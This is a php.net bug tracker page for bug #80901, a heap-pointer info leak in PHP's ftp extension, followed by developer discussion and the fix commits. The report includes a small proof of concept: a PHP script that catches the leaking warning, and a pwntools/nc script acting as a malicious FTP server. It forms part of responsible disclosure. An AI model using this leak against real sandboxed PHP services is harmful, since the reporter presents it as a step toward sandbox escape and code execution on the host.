php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #80901 Info leak in ftp extension
Submitted: 2021-03-23 22:36 UTC Modified: 2021-04-21 16:23 UTC
From: zengyhkyle at asu dot edu Assigned: cmb (profile)
Status: Closed Package: FTP related
PHP Version: 7.4 OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
45 + 14 = ?
Subscribe to this entry?

 
 [2021-03-23 22:36 UTC] zengyhkyle at asu dot edu
Description:
------------
In ftp extension, it uses `struct ftpbuf` to keep track of the communication with a remote ftp server.
A simplified version of `struct ftpbuf` is listed as below
~~~
typedef struct ftpbuf
{
        ...

	char		inbuf[FTP_BUFSIZE];	/* last response text */
	char		*extra;			/* extra characters */
        ...
};
~~~
in `php-src/ftp.c`, inbuf is treated as a byte buffer, and it is not null-terminated. The function using it is `ftp_readline`.

If an attacker sends a request to his own server, the server can respond with a very long line which fails `ftp_readline`. At this moment, the buffer is fully filled.

The failure of `ftp_readline` triggers a failure in upper layer which eventually triggers `php_error_docref(NULL, E_WARNING, "%s", ftp->inbuf);` in `php_ftp.c`. It assumes `ftp->inbuf` is null-terminated while it is not.

And then it prints the `extra` pointer out to the attacker.
By carefully setup the warning handler, the attacker can intercept the leaked heap address for later exploitation.

This vulnerability is found by Yihui Zeng, Jayakrishna Menon, Steven Wirsz, and Gokul Krishna P from Arizona State University for class CSE598 Applied Vulnerability Research

Test script:
---------------
test.php
------
<?php
set_error_handler("warning_handler", E_WARNING);
function warning_handler($errno, $errstr) {
	echo "caught!\n";
	echo $errno;
	echo $errstr;
	echo "caught end!\n";
}

$conn = ftp_connect("127.0.0.1", 8333);

$a = ftp_systype($conn);
?>


server.py
--------------
from pwn import *

r = process(["/bin/nc", "-lvp", "8333"])
r.send("220 \n")
r.sendafter("SYST", "\n"+" "*4096)

Actual result:
--------------
$ ./php test.php 
12
Warning: ftp_systype():                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 a��=V in /home/hacker/test.php on line 6
bool(false)
3

Patches

Add a Patch

Pull Requests

Pull requests:

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-03-23 23:10 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2021-03-23 23:10 UTC] stas@php.net
I am not completely sure which part is vulnerable. If the buffer is on the client, then do I understand correctly that the data displayed on the error message on the client is the part of client's memory? Or it is somehow sent to the server, or sever data somehow is sent to the client?
 [2021-03-24 10:13 UTC] cmb@php.net
On a quick glance, it seems that would be fixed by
<https://github.com/php/php-src/pull/6718>.
 [2021-03-27 18:46 UTC] zengyhkyle at asu dot edu
-Status: Feedback +Status: Open
 [2021-03-27 18:46 UTC] zengyhkyle at asu dot edu
yes. the pointer leaked is the client.
The exploit requires the client to receive a special message from a server, which can be done by communicating a server owned by the attacker.
 [2021-03-29 04:12 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2021-03-29 04:12 UTC] stas@php.net
But the attacker does not get the information that is in the warning, so where's the attack? I am still not sure how the attack scenario would work. Say I set up a special FTP server, then trick somebody to connect to it, then what? I still can't see anything that happens on their end...
 [2021-03-30 19:22 UTC] zengyhkyle at asu dot edu
-Status: Feedback +Status: Open
 [2021-03-30 19:22 UTC] zengyhkyle at asu dot edu
The attack is not remote. It is for sandbox escape.
There are many sandboxed PHP runtime environments online for public use. An attacker can use this vulnerability to leak pointers by using the FTP functionality. If combined with another vulnerability, the attacker is able to escape from the sandbox and executes code on the server that runs the sandboxed php.
 [2021-04-13 10:15 UTC] cmb@php.net
> The attack is not remote. It is for sandbox escape.

I don't think that we classify such issues as security issues.
Otherwise our security classification[1] wouldn't make much sense.

So how to proceed?  This is basically a duplicate of bug #79100,
and a suggested fix[2] is waiting for review.

[1] <https://wiki.php.net/security>
[2] <https://github.com/php/php-src/pull/6718>
 [2021-04-14 06:00 UTC] stas@php.net
-Type: Security +Type: Bug
 [2021-04-14 06:00 UTC] stas@php.net
Let's fix it in 7.4+
 [2021-04-21 15:23 UTC] cmb@php.net
-Status: Open +Status: Verified -PHP Version: 8.0.4RC1 +PHP Version: 7.4 -Assigned To: +Assigned To: cmb
 [2021-04-21 15:23 UTC] cmb@php.net
Oh, no, this is not related to bug #79100 at all.  I had a very
hard time to reproduce this, and finally found that it likely
cannot be triggered on a little-endian machine, since the struct
has a char* immediately after the inbuf, and its high byte is
likely zero, so actually there is no buffer overflow (furthermore,
prior to PHP 8.0.0, log_errors_max_len likely caused truncation of
the output anyway, so no buffer overflow would happen).  On
big-endian machines the outcome is likely different.
 [2021-04-21 16:23 UTC] cmb@php.net
Correction: this is not related to endianess, but rather to struct
member alignment, so would affect Windows x86 builds, for
instance.
 [2021-04-22 12:16 UTC] cmb@php.net
The following pull request has been associated:

Patch Name: Fix #80901: Info leak in ftp extension
On GitHub:  https://github.com/php/php-src/pull/6894
Patch:      https://github.com/php/php-src/pull/6894.patch
 [2021-04-26 12:47 UTC] git@php.net
Automatic comment on behalf of cmb69
Revision: https://github.com/php/php-src/commit/09696eee9d4374e79bd443bbbd5c5d38bfb9fb68
Log: Fix #80901: Info leak in ftp extension
 [2021-04-26 12:47 UTC] git@php.net
-Status: Verified +Status: Closed
 [2021-04-26 13:10 UTC] git@php.net
Automatic comment on behalf of cmb69
Revision: https://github.com/php/php-src/commit/c0ae3a7fb7f46158a69a1f42aeb9971e619ac969
Log: Fix #80901: Info leak in ftp extension
 
PHP Copyright © 2001-2021 The PHP Group
All rights reserved.
Last updated: Wed Jun 16 00:01:24 2021 UTC